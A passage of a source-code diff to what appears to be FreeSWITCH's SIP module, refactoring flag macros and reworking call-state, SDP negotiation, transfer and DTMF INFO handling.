 		channel = switch_core_session_get_channel(session);
 		tech_pvt = switch_core_session_get_private(session);
-		switch_assert(tech_pvt != NULL);
-		if (!tech_pvt->nh) {
+
+		if (!tech_pvt || !tech_pvt->nh) {
 			goto done;
 		}
 
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Channel %s entering state [%s]\n",
-						  switch_channel_get_name(channel), nua_callstate_name(ss_state));
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Channel %s entering state [%s][%d]\n",
+						  switch_channel_get_name(channel), nua_callstate_name(ss_state), status);
 		
 		if (r_sdp) {
+			sdp_parser_t *parser;
+			sdp_session_t *sdp;
+
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Remote SDP:\n%s\n", r_sdp);
 			tech_pvt->remote_sdp_str = switch_core_session_strdup(session, r_sdp);
 			switch_channel_set_variable(channel, SWITCH_R_SDP_VARIABLE, r_sdp);
+
+			if ( sofia_test_flag(tech_pvt, TFLAG_LATE_NEGOTIATION) && (parser = sdp_parse(NULL, r_sdp, (int) strlen(r_sdp), 0))) {
+				if ((sdp = sdp_session(parser))) {
+					sofia_glue_set_r_sdp_codec_string(channel, (tech_pvt->profile?tech_pvt->profile->codec_string:NULL), sdp);
+				}
+				sdp_parser_free(parser);
+			}
 			sofia_glue_pass_sdp(tech_pvt, (char *) r_sdp);
 		}
 	}
@@ -2651,9 +3370,12 @@
 			
 		if (r_sdp) {
 			if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
-				switch_set_flag_locked(tech_pvt, TFLAG_EARLY_MEDIA);
+				if (switch_channel_test_flag(channel, CF_PROXY_MEDIA) && !switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND)) {
+					switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "PROXY MEDIA");
+				}
+				sofia_set_flag_locked(tech_pvt, TFLAG_EARLY_MEDIA);
 				switch_channel_mark_pre_answered(channel);
-				switch_set_flag(tech_pvt, TFLAG_SDP);
+				sofia_set_flag(tech_pvt, TFLAG_SDP);
 				if (switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
 					if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
 						goto done;
@@ -2665,15 +3387,12 @@
 					if (!switch_channel_get_variable(other_channel, SWITCH_B_SDP_VARIABLE)) {
 						switch_channel_set_variable(other_channel, SWITCH_B_SDP_VARIABLE, r_sdp);
 					}
-
 					switch_channel_pre_answer(other_channel);
 					switch_core_session_rwunlock(other_session);
 				}
 				goto done;
 			} else {
-				if (switch_channel_test_flag(channel, CF_PROXY_MEDIA) && !switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND)) {
-					switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "PROXY MEDIA");
-				} else if (switch_test_flag(tech_pvt, TFLAG_LATE_NEGOTIATION) && !switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND)) {
+				if (sofia_test_flag(tech_pvt, TFLAG_LATE_NEGOTIATION) && !switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND)) {
 					switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "DELAYED NEGOTIATION");
 				} else {
 					if (sofia_glue_tech_media(tech_pvt, (char *) r_sdp) != SWITCH_STATUS_SUCCESS) {
@@ -2690,25 +3409,25 @@
 		nua_ack(nh, TAG_END());
 		break;
 	case nua_callstate_received:
-		if (!switch_test_flag(tech_pvt, TFLAG_SDP)) {
-			if (r_sdp && !switch_test_flag(tech_pvt, TFLAG_SDP)) {
+		if (!sofia_test_flag(tech_pvt, TFLAG_SDP)) {
+			if (r_sdp && !sofia_test_flag(tech_pvt, TFLAG_SDP)) {
 				if (switch_channel_test_flag(channel, CF_PROXY_MODE)) {
 					switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "RECEIVED_NOMEDIA");
-					switch_set_flag_locked(tech_pvt, TFLAG_READY);
+					sofia_set_flag_locked(tech_pvt, TFLAG_READY);
 					if (switch_channel_get_state(channel) == CS_NEW) {
 						switch_channel_set_state(channel, CS_INIT);
 					}
-					switch_set_flag(tech_pvt, TFLAG_SDP);
+					sofia_set_flag(tech_pvt, TFLAG_SDP);
 					goto done;
 				} else if (switch_channel_test_flag(tech_pvt->channel, CF_PROXY_MEDIA)) {
 					switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "PROXY MEDIA");
-					switch_set_flag_locked(tech_pvt, TFLAG_READY);
+					sofia_set_flag_locked(tech_pvt, TFLAG_READY);
 					if (switch_channel_get_state(channel) == CS_NEW) {
 						switch_channel_set_state(channel, CS_INIT);
 					}
-				} else if (switch_test_flag(tech_pvt, TFLAG_LATE_NEGOTIATION)) {
+				} else if (sofia_test_flag(tech_pvt, TFLAG_LATE_NEGOTIATION)) {
 					switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "DELAYED NEGOTIATION");
-					switch_set_flag_locked(tech_pvt, TFLAG_READY);
+					sofia_set_flag_locked(tech_pvt, TFLAG_READY);
 					if (switch_channel_get_state(channel) == CS_NEW) {
 						switch_channel_set_state(channel, CS_INIT);
 					}
@@ -2731,11 +3450,11 @@
 						sip_replaces_t *replaces;
 						su_home_t *home = NULL;
 						switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "RECEIVED");
-						switch_set_flag_locked(tech_pvt, TFLAG_READY);
+						sofia_set_flag_locked(tech_pvt, TFLAG_READY);
 						if (switch_channel_get_state(channel) == CS_NEW) {
 							switch_channel_set_state(channel, CS_INIT);
 						}
-						switch_set_flag(tech_pvt, TFLAG_SDP);
+						sofia_set_flag(tech_pvt, TFLAG_SDP);
 						if (replaces_str) {
 							home = su_home_new(sizeof(*home));
 							switch_assert(home != NULL);
@@ -2755,8 +3474,8 @@
 									if (br_b) {
 										switch_ivr_uuid_bridge(br_a, br_b);
 										switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "ATTENDED_TRANSFER");
-										switch_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
-										switch_clear_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
+										sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
+										sofia_clear_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
 										switch_channel_hangup(channel, SWITCH_CAUSE_ATTENDED_TRANSFER);
 									} else {
 										switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "ATTENDED_TRANSFER_ERROR");
@@ -2782,22 +3501,22 @@
 				if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
 					goto done;
 				} else {
-					if (profile->pflags & PFLAG_3PCC) {
+					if (sofia_test_pflag(profile, PFLAG_3PCC)) {
 						switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "RECEIVED_NOSDP");
 						sofia_glue_tech_choose_port(tech_pvt, 0);
 						sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
-						switch_set_flag_locked(tech_pvt, TFLAG_3PCC);
+						sofia_set_flag_locked(tech_pvt, TFLAG_3PCC);
 						switch_channel_set_state(channel, CS_HIBERNATE);
 						nua_respond(tech_pvt->nh, SIP_200_OK,
 									SIPTAG_CONTACT_STR(tech_pvt->profile->url),
 									SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
 									SOATAG_REUSE_REJECTED(1),
 									SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), 
-									TAG_IF((profile->pflags & PFLAG_DISABLE_100REL), NUTAG_INCLUDE_EXTRA_SDP(1)), TAG_END());
-					} else if(profile->pflags & PFLAG_3PCC_PROXY){
+									TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_100REL), NUTAG_INCLUDE_EXTRA_SDP(1)), TAG_END());
+					} else if (sofia_test_pflag(profile, PFLAG_3PCC_PROXY)) {
 						//3PCC proxy mode delays the 200 OK until the call is answered
 						switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "RECEIVED_NOSDP");
-						switch_set_flag_locked(tech_pvt, TFLAG_3PCC);
+						sofia_set_flag_locked(tech_pvt, TFLAG_3PCC);
 						sofia_glue_tech_choose_port(tech_pvt, 0);
 						sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
 						switch_channel_set_flag(channel, TFLAG_LATE_NEGOTIATION);
@@ -2811,9 +3530,9 @@
 				}
 			}
 
-		} else if (tech_pvt && switch_test_flag(tech_pvt, TFLAG_SDP) && !r_sdp) {
+		} else if (tech_pvt && sofia_test_flag(tech_pvt, TFLAG_SDP) && !r_sdp) {
 			nua_respond(tech_pvt->nh, SIP_200_OK, TAG_END());
-			switch_set_flag_locked(tech_pvt, TFLAG_NOSDP_REINVITE);
+			sofia_set_flag_locked(tech_pvt, TFLAG_NOSDP_REINVITE);
 			goto done;
 		} else {
 			ss_state = nua_callstate_completed;
@@ -2844,13 +3563,13 @@
 					if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))
 						&& (other_session = switch_core_session_locate(uuid))) {
 						switch_core_session_message_t msg = { 0 };
-
+						
 						if (profile->media_options & MEDIA_OPT_MEDIA_ON_HOLD) {
 							tech_pvt->hold_laps = 1;
 							switch_channel_set_variable(channel, SWITCH_R_SDP_VARIABLE, r_sdp);
 							switch_channel_clear_flag(channel, CF_PROXY_MODE);
-							tech_pvt->local_sdp_str = NULL;
-
+							sofia_glue_tech_set_local_sdp(tech_pvt, NULL, SWITCH_FALSE);
+							
 							if (!switch_channel_media_ready(channel)) {
 								if (!switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND)) {
 									//const char *r_sdp = switch_channel_get_variable(channel, SWITCH_R_SDP_VARIABLE);
@@ -2879,7 +3598,7 @@
 										SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
 										SOATAG_REUSE_REJECTED(1),
 										SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), 
-										TAG_IF((profile->pflags & PFLAG_DISABLE_100REL), NUTAG_INCLUDE_EXTRA_SDP(1)), TAG_END());
+										TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_100REL), NUTAG_INCLUDE_EXTRA_SDP(1)), TAG_END());
 							launch_media_on_hold(session);
 
 							switch_core_session_rwunlock(other_session);
@@ -2891,13 +3610,13 @@
 						msg.string_arg = (char *) r_sdp;
 						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Passing SDP to other leg.\n%s\n", r_sdp);
 						
-						if (switch_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
+						if (sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
 							if (!switch_stristr("sendonly", r_sdp)) {
-								switch_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
+								sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
 								switch_channel_presence(tech_pvt->channel, "unknown", "unhold", NULL);
 							}
 						} else if (switch_stristr("sendonly", r_sdp)) {
-							switch_set_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
+							sofia_set_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
 							switch_channel_presence(tech_pvt->channel, "unknown", "hold", NULL);
 						}
 					
@@ -2927,7 +3646,7 @@
 							goto done;
 						}
 						sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
-						switch_set_flag_locked(tech_pvt, TFLAG_REINVITE);
+						sofia_set_flag_locked(tech_pvt, TFLAG_REINVITE);
 						if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
 							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Reinvite RTP Error!\n");
 							is_ok = 0;
@@ -2941,12 +3660,15 @@
 				}
 				
 				if (is_ok) {
+					if (tech_pvt->local_crypto_key) {
+						sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
+					}
 					nua_respond(tech_pvt->nh, SIP_200_OK,
 								SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
 								SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
 								SOATAG_REUSE_REJECTED(1),
 								SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), 
-								TAG_IF((profile->pflags & PFLAG_DISABLE_100REL), NUTAG_INCLUDE_EXTRA_SDP(1)), TAG_END());
+								TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_100REL), NUTAG_INCLUDE_EXTRA_SDP(1)), TAG_END());
 				} else {
 					nua_respond(tech_pvt->nh, SIP_488_NOT_ACCEPTABLE, TAG_END());
 				}
@@ -2955,14 +3677,14 @@
 		break;
 	case nua_callstate_ready:
 
-		if (r_sdp && switch_test_flag(tech_pvt, TFLAG_NOSDP_REINVITE)) {
+		if (r_sdp && sofia_test_flag(tech_pvt, TFLAG_NOSDP_REINVITE)) {
 			sdp_parser_t *parser;
 			sdp_session_t *sdp;
 			uint8_t match = 0;
 			int is_ok = 1;
-			
-			switch_clear_flag_locked(tech_pvt, TFLAG_NOSDP_REINVITE);
 
+			sofia_clear_flag_locked(tech_pvt, TFLAG_NOSDP_REINVITE);
+
 			if (tech_pvt->num_codecs) {
 				if ((parser = sdp_parse(NULL, r_sdp, (int) strlen(r_sdp), 0))) {
 					if ((sdp = sdp_session(parser))) {
@@ -2973,13 +3695,13 @@
 			}
 
 			if (match) {
-				switch_set_flag_locked(tech_pvt, TFLAG_REINVITE);
+				sofia_set_flag_locked(tech_pvt, TFLAG_REINVITE);
 				if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
 					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "RTP Error!\n");
 					switch_channel_set_variable(tech_pvt->channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "RTP ERROR");
 					is_ok = 0;
 				}
-				switch_clear_flag_locked(tech_pvt, TFLAG_REINVITE);
+				sofia_clear_flag_locked(tech_pvt, TFLAG_REINVITE);
 			} else {
 				switch_channel_set_variable(tech_pvt->channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "CODEC NEGOTIATION ERROR");
 				is_ok = 0;
@@ -2998,7 +3720,7 @@
 		}
 		if (tech_pvt && nh == tech_pvt->nh2) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Cheater Reinvite!\n");
-			switch_set_flag_locked(tech_pvt, TFLAG_REINVITE);
+			sofia_set_flag_locked(tech_pvt, TFLAG_REINVITE);
 			tech_pvt->nh = tech_pvt->nh2;
 			tech_pvt->nh2 = NULL;
 			if (sofia_glue_tech_choose_port(tech_pvt, 0) == SWITCH_STATUS_SUCCESS) {
@@ -3011,9 +3733,9 @@
 		}
 		
 		if (channel) {
-            if (switch_test_flag(tech_pvt, TFLAG_EARLY_MEDIA)) {
-                switch_set_flag_locked(tech_pvt, TFLAG_ANS);
-                switch_set_flag(tech_pvt, TFLAG_SDP);
+            if (sofia_test_flag(tech_pvt, TFLAG_EARLY_MEDIA)) {
+                sofia_set_flag_locked(tech_pvt, TFLAG_ANS);
+                sofia_set_flag(tech_pvt, TFLAG_SDP);
                 switch_channel_mark_answered(channel);
 				if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
 					if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))
@@ -3026,14 +3748,14 @@
                 goto done;
             }
 			
-			if (!r_sdp && !switch_test_flag(tech_pvt, TFLAG_SDP)) {
+			if (!r_sdp && !sofia_test_flag(tech_pvt, TFLAG_SDP)) {
 				r_sdp = (const char *) switch_channel_get_variable(channel, SWITCH_R_SDP_VARIABLE);
 			}
 
-			if (r_sdp && !switch_test_flag(tech_pvt, TFLAG_SDP)) {
+			if (r_sdp && !sofia_test_flag(tech_pvt, TFLAG_SDP)) {
 				if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
-					switch_set_flag_locked(tech_pvt, TFLAG_ANS);
-					switch_set_flag_locked(tech_pvt, TFLAG_SDP);
+					sofia_set_flag_locked(tech_pvt, TFLAG_ANS);
+					sofia_set_flag_locked(tech_pvt, TFLAG_SDP);
 					switch_channel_mark_answered(channel);
 					if (switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
 						if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
@@ -3066,7 +3788,7 @@
 					}
 
 					if (match) {
-						switch_set_flag_locked(tech_pvt, TFLAG_ANS);
+						sofia_set_flag_locked(tech_pvt, TFLAG_ANS);
 						if (sofia_glue_tech_choose_port(tech_pvt, 0) == SWITCH_STATUS_SUCCESS) {
 							if (sofia_glue_activate_rtp(tech_pvt, 0) == SWITCH_STATUS_SUCCESS) {
 								switch_channel_mark_answered(channel);
@@ -3075,15 +3797,15 @@
 								switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
 							}
 
-							if (switch_test_flag(tech_pvt, TFLAG_3PCC)) {
+							if (sofia_test_flag(tech_pvt, TFLAG_3PCC)) {
 								/* Check if we are in 3PCC proxy mode, if so then set the flag to indicate we received the ack */
-								if (profile->pflags & PFLAG_3PCC_PROXY ) {
+								if (sofia_test_pflag(profile, PFLAG_3PCC_PROXY )) {
 									switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "3PCC-PROXY, Got my ACK\n");
-									switch_set_flag(tech_pvt, TFLAG_3PCC_HAS_ACK);
+									sofia_set_flag(tech_pvt, TFLAG_3PCC_HAS_ACK);
 								} else if (switch_channel_get_state(channel) == CS_HIBERNATE) {
-									switch_set_flag_locked(tech_pvt, TFLAG_READY);
+									sofia_set_flag_locked(tech_pvt, TFLAG_READY);
 									switch_channel_set_state(channel, CS_INIT);
-									switch_set_flag(tech_pvt, TFLAG_SDP);
+									sofia_set_flag(tech_pvt, TFLAG_SDP);
 								}
 							}
 							goto done;
@@ -3100,49 +3822,47 @@
 	case nua_callstate_terminating:
 		if (status == 488 || switch_channel_get_state(channel) == CS_HIBERNATE) {
 			tech_pvt->q850_cause = SWITCH_CAUSE_MANDATORY_IE_MISSING;
-		} else if (!switch_test_flag(tech_pvt, TFLAG_BYE)) {
-			switch_set_flag_locked(tech_pvt, TFLAG_BYE);
 		}
-		break;
 	case nua_callstate_terminated:
-		if (!switch_test_flag(tech_pvt, TFLAG_BYE)) {
-			switch_set_flag_locked(tech_pvt, TFLAG_BYE);
-			if (switch_test_flag(tech_pvt, TFLAG_NOHUP)) {
-				switch_clear_flag_locked(tech_pvt, TFLAG_NOHUP);
+		sofia_set_flag_locked(tech_pvt, TFLAG_BYE);
+		if (sofia_test_flag(tech_pvt, TFLAG_NOHUP)) {
+			sofia_clear_flag_locked(tech_pvt, TFLAG_NOHUP);
+		} else if (switch_channel_up(channel)) {
+			int cause;
+			if (tech_pvt->q850_cause) {
+				cause = tech_pvt->q850_cause;
 			} else {
-				int cause;
-				if (tech_pvt->q850_cause) {
-					cause = tech_pvt->q850_cause;
-				} else {
-					cause = sofia_glue_sip_cause_to_freeswitch(status);
+				cause = sofia_glue_sip_cause_to_freeswitch(status);
+			}
+			if (status) {
+				switch_snprintf(st, sizeof(st), "%d", status);
+				switch_channel_set_variable(channel, "sip_term_status", st);
+				switch_snprintf(st, sizeof(st), "sip:%d", status);
+				switch_channel_set_variable_partner(channel, SWITCH_PROTO_SPECIFIC_HANGUP_CAUSE_VARIABLE, st);
+				switch_channel_set_variable(channel, SWITCH_PROTO_SPECIFIC_HANGUP_CAUSE_VARIABLE, st);
+				if (phrase) {
+					switch_channel_set_variable_partner(channel, "sip_hangup_phrase", phrase);
 				}
-				if (status) {
-					switch_snprintf(st, sizeof(st), "%d", status);
-					switch_channel_set_variable(channel, "sip_term_status", st);
-					switch_snprintf(st, sizeof(st), "sip:%d", status);
-					switch_channel_set_variable_partner(channel, SWITCH_PROTO_SPECIFIC_HANGUP_CAUSE_VARIABLE, st);
-					switch_channel_set_variable(channel, SWITCH_PROTO_SPECIFIC_HANGUP_CAUSE_VARIABLE, st);
-					if (phrase) {
-						switch_channel_set_variable_partner(channel, "sip_hangup_phrase", phrase);
-					}
-				}
-				switch_snprintf(st, sizeof(st), "%d", cause);
-				switch_channel_set_variable(channel, "sip_term_cause", st);
-				switch_channel_hangup(channel, cause);
 			}
+			switch_snprintf(st, sizeof(st), "%d", cause);
+			switch_channel_set_variable(channel, "sip_term_cause", st);
+			switch_channel_hangup(channel, cause);
 		}
+		
 
-		if (tech_pvt->sofia_private) {
-			tech_pvt->sofia_private = NULL;
+		if (ss_state == nua_callstate_terminated) {
+			if (tech_pvt->sofia_private) {
+				tech_pvt->sofia_private = NULL;
+			}
+			
+			tech_pvt->nh = NULL;
+	
+			if (nh) {
+				nua_handle_bind(nh, NULL);
+				nua_handle_destroy(nh);
+			}
 		}
-
-		tech_pvt->nh = NULL;
 		
-
-		if (nh) {
-			nua_handle_bind(nh, NULL);
-			nua_handle_destroy(nh);
-		}
 		break;
 	}
 
@@ -3177,7 +3897,7 @@
 
 			status = switch_ivr_originate(a_session, &tsession, &cause, nhelper->exten, timeout, NULL, NULL, NULL, NULL, NULL, SOF_NONE);
 							
-			if ((switch_channel_get_state(channel_a) < CS_HANGUP)) {
+			if ((switch_channel_up(channel_a))) {
 				
 				if (status != SWITCH_STATUS_SUCCESS || cause != SWITCH_CAUSE_SUCCESS) {
 					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Cannot Create Outgoing Channel! [%s]\n", nhelper->exten);
@@ -3189,7 +3909,7 @@
 					tuuid_str = switch_core_session_get_uuid(tsession);
 					switch_ivr_uuid_bridge(nhelper->bridge_to_uuid, tuuid_str);
 					switch_channel_set_variable(channel_a, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "ATTENDED_TRANSFER");
-					switch_set_flag_locked(tech_pvt, TFLAG_BYE);
+					sofia_set_flag_locked(tech_pvt, TFLAG_BYE);
 					nua_notify(tech_pvt->nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR("message/sipfrag"),
 							   NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR("SIP/2.0 200 OK"), SIPTAG_EVENT_STR(nhelper->event), TAG_END());
 					switch_core_session_rwunlock(tsession);
@@ -3261,7 +3981,7 @@
 		char *rep;
 		full_ref_to = sip_header_as_string(home, (void *) sip->sip_refer_to);
 
-		if (profile->pflags & PFLAG_FULL_ID) {
+		if (sofia_test_pflag(profile, PFLAG_FULL_ID)) {
 			exten = switch_core_session_sprintf(session, "%s@%s", (char *) refer_to->r_url->url_user, (char *) refer_to->r_url->url_host);
 		} else {
 			exten = (char *) refer_to->r_url->url_user;
@@ -3336,8 +4056,8 @@
 							nua_notify(tech_pvt->nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR("message/sipfrag"),
 									   NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR("SIP/2.0 200 OK"), SIPTAG_EVENT_STR(etmp), TAG_END());
 
-							switch_clear_flag_locked(b_tech_pvt, TFLAG_SIP_HOLD);
-							switch_clear_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
+							sofia_clear_flag_locked(b_tech_pvt, TFLAG_SIP_HOLD);
+							sofia_clear_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
 							switch_channel_set_variable(switch_core_session_get_channel(b_session), "park_timeout", "2");
 							switch_channel_set_state(switch_core_session_get_channel(b_session), CS_PARK);
 
@@ -3370,8 +4090,8 @@
 									private_object_t *h_tech_pvt = (private_object_t *) switch_core_session_get_private(b_session);
 									t_session = switch_core_session_locate(br_b);
 									hup_channel = channel_a;
-									switch_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
-									switch_clear_flag_locked(h_tech_pvt, TFLAG_SIP_HOLD);
+									sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
+									sofia_clear_flag_locked(h_tech_pvt, TFLAG_SIP_HOLD);
 									switch_channel_hangup(channel_b, SWITCH_CAUSE_ATTENDED_TRANSFER);
 								}
 
@@ -3415,7 +4135,7 @@
 
 						if ((a_session = switch_core_session_locate(br_a))) {
 							const char *port = NULL;
-							char *param_string = "", *headers = "";
+							char *param_string = "";
 							int count = 0, bytes = 0;
 
 							if (refer_to && refer_to->r_url && refer_to->r_url->url_port) {
@@ -3448,13 +4168,9 @@
 								}
 							}
 
-							if (refer_to->r_url && refer_to->r_url->url_headers) {
-								headers = switch_core_session_sprintf(session, "?%s", refer_to->r_url->url_headers);
-							}
-
-							exten = switch_core_session_sprintf(session, "sofia/%s/sip:%s@%s:%s%s%s", 
+							exten = switch_core_session_sprintf(session, "sofia/%s/sip:%s@%s", 
 																profile->name, refer_to->r_url->url_user, 
-																refer_to->r_url->url_host, port, param_string, headers);
+																refer_to->r_url->url_host);
 
 							switch_core_new_memory_pool(&npool);
 							nightmare_xfer_helper = switch_core_alloc(npool, sizeof(*nightmare_xfer_helper));
@@ -3554,6 +4270,7 @@
 	const char *rec_header;
 	const char *clientcode_header;
 	switch_dtmf_t dtmf = { 0, switch_core_default_dtmf_duration(0) };
+	switch_event_t *event;
 
 	if (session) {
 		/* Get the channel */
@@ -3570,6 +4287,10 @@
 					int tmp;
 					/* move signal_ptr where we need it (right past Signal=) */
 					signal_ptr = signal_ptr + 7;
+
+					/* handle broken devices with spaces after the = (cough) VegaStream (cough) */
+					while (*signal_ptr && *signal_ptr == ' ') signal_ptr++;
+
 					if (*signal_ptr && (*signal_ptr == '*' || *signal_ptr == '#' || *signal_ptr == 'A' || *signal_ptr == 'B' || *signal_ptr == 'C' || *signal_ptr == 'D')) {
 						dtmf.digit = *signal_ptr;
 					} else {
@@ -3578,12 +4299,15 @@
 					}
 				} else {
 					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Bad signal\n");
-					goto fail;
+					goto end;
 				}
 
 				if ((signal_ptr = switch_stristr("Duration=", sip->sip_payload->pl_data))) {
 					int tmp;
 					signal_ptr += 9;
+
+					/* handle broken devices with spaces after the = (cough) VegaStream (cough) */
+					while (*signal_ptr && *signal_ptr == ' ') signal_ptr++;
 					
 					if ((tmp = atoi(signal_ptr)) <= 0) {
 						tmp = switch_core_default_dtmf_duration(0);
@@ -3594,7 +4318,7 @@
 				int tmp = atoi(sip->sip_payload->pl_data);
 				dtmf.digit = switch_rfc2833_to_char(tmp);
 			} else {
-				goto fail;
+				goto end;
 			}
 
 			if (dtmf.digit) {
@@ -3622,11 +4346,8 @@
 
 				/* Send 200 OK response */
 				nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
-
-				return;
-			} else {
-				goto fail;
 			}
+			goto end;
 		}
 
 		if ((clientcode_header = sofia_glue_get_unknown_header(sip, "x-clientcode"))) {
@@ -3634,10 +4355,8 @@
 				switch_channel_set_variable(channel, "call_clientcode", clientcode_header);
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Setting CMC to %s\n", clientcode_header);
 				nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
-			} else {
-				goto fail;
 			}
-			return;
+			goto end;
 		}
 
 		if ((rec_header = sofia_glue_get_unknown_header(sip, "record"))) {
@@ -3669,13 +4388,72 @@
 					}
 				}
 			}
-			return;
 		}
 	}
+
+ end:
+
+
+	if (sip && switch_event_create(&event, SWITCH_EVENT_RECV_INFO) == SWITCH_STATUS_SUCCESS) {
+		sip_alert_info_t *alert_info = sip_alert_info(sip);
+
+		if (sip && sip->sip_content_type) {
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "SIP-Content-Type", sip->sip_content_type->c_type);
+		}
+
+		if (sip->sip_from && sip->sip_from->a_url) {
+			if (sip->sip_from->a_url->url_user) {
+				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "SIP-From-User", sip->sip_from->a_url->url_user);
+			}
+
+			if (sip->sip_from->a_url->url_host) {
+				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "SIP-From-Host", sip->sip_from->a_url->url_host);
+			}
+		}
+
+		if (sip->sip_to && sip->sip_to->a_url) {
+			if (sip->sip_to->a_url->url_user) {
+				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "SIP-To-User", sip->sip_to->a_url->url_user);
+			}
+
+			if (sip->sip_to->a_url->url_host) {
+				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "SIP-To-Host", sip->sip_to->a_url->url_host);
+			}
+		}
+
+
+		if (sip->sip_contact && sip->sip_contact->m_url) {
+			if (sip->sip_contact->m_url->url_user) {
+				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "SIP-Contact-User", sip->sip_contact->m_url->url_user);
+			}
+
+			if (sip->sip_contact->m_url->url_host) {
+				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "SIP-Contact-Host", sip->sip_contact->m_url->url_host);
+			}
+		}
+
+
+		if (sip->sip_call_info) {
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Call-Info", sip_header_as_string(nua_handle_home(nh), (void *) sip->sip_call_info));
+		}
+
